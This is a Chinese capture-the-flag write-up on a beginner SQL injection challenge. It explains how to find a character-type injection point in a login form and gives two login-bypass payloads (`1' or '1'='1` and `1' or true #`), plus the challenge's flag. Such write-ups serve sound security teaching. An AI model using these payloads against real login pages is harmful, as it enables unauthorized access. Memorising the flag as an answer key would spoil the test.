分析

從題目分析，這道題應該與SQL注入有關，啟動靶機之后，訪問url是一個登錄界面，隨便輸入用戶名密碼之后，發現用的還是[GET]請求👍。那基本可以確定本題一定與SQL注入有關。

• SQL注入的漏洞是基于數據庫命令的底層邏輯，在互聯網初期，沒有人對SQL注入進行預防，這就導致很多歷史遺留問題。
  迄今為止還是WEB中十大常見漏洞之一

解題過程

漏洞原理分析

對于上面的登錄界面，后端驗證用戶名和密碼是否匹配的數據庫的查詢語句可能是下面這樣的格式：

select * from table_name where username=變量1 and password=變量2; 

其中的變量1是我們在用戶名中輸入的字符，變量2是我們在password中輸入的字符。SQL注入出現的原理是SQL語句對變量和命令的界定不夠清晰，我們可以構造合適的輸入變量改變整個SQL查找語句的功能。

明確注入點：

SQL注入的類型主要分為數字型和字符型，分類標準就是變量的數據類型：
對于數字型

select * from table_name where username=變量1 and password=變量2; 

我們構造輸入

1 and 1=1 #回顯正常
1 and 1=2 #回顯異常

而對于字符型，關鍵在于試著找出變量是用什么符號閉合的，常見的符號有'單引號'，“雙引號”，（），[]等。

select * from table_name where username='變量1' and password='變量2'; 

select * from table_name where username="變量1" and password="變量2"; 

對于這道題我們構造輸入

1'

直接報錯，這說明我們輸入的'與前面的某個引號閉合，導致最后多出來一個單獨的‘，詳細情況如下：

select * from table_name where username='1'' and password='變量2'; 

這樣我們確定本題有注入點，并確定注入類型是字符型。

嘗試萬能密碼法

這好像是CTF中獨有的技巧因為一般的滲透都會直接入侵后端（誰和你過家家😅）

法一

我們通過or的邏輯結構，構造前端的payload，以跳過判斷邏輯：

?usename=1' or '1'='1&password=1' or '1'='1

后端代碼：

select * from table_name where username='1' or '1'='1' and password='1' or '1'='1'; 

對與門(and)和或門(or)有一定了解的讀者很容易理解上面的代碼，where后面的語句一定是真（1），這樣就跳過了SQL語句對用戶名和密碼的判斷。
最后的結果是：

flag{c245efae-9088-4dec-8c2e-5c34c73392e9}

法二

上面的方法對于hacker來說還是太講理了，不夠實用，我們直接構造payload：

?username=1' or true #&password=1

select * from table_name where username='1' or true #' and password='1'; 

這個方法直接使用#注釋掉了后面的語句，同樣可以獲得flag。

總結

這是一道初級的SQL注入題目，與滲透測試的實際環境有出入，主要的考察點是SQL類型判斷以及構造payload。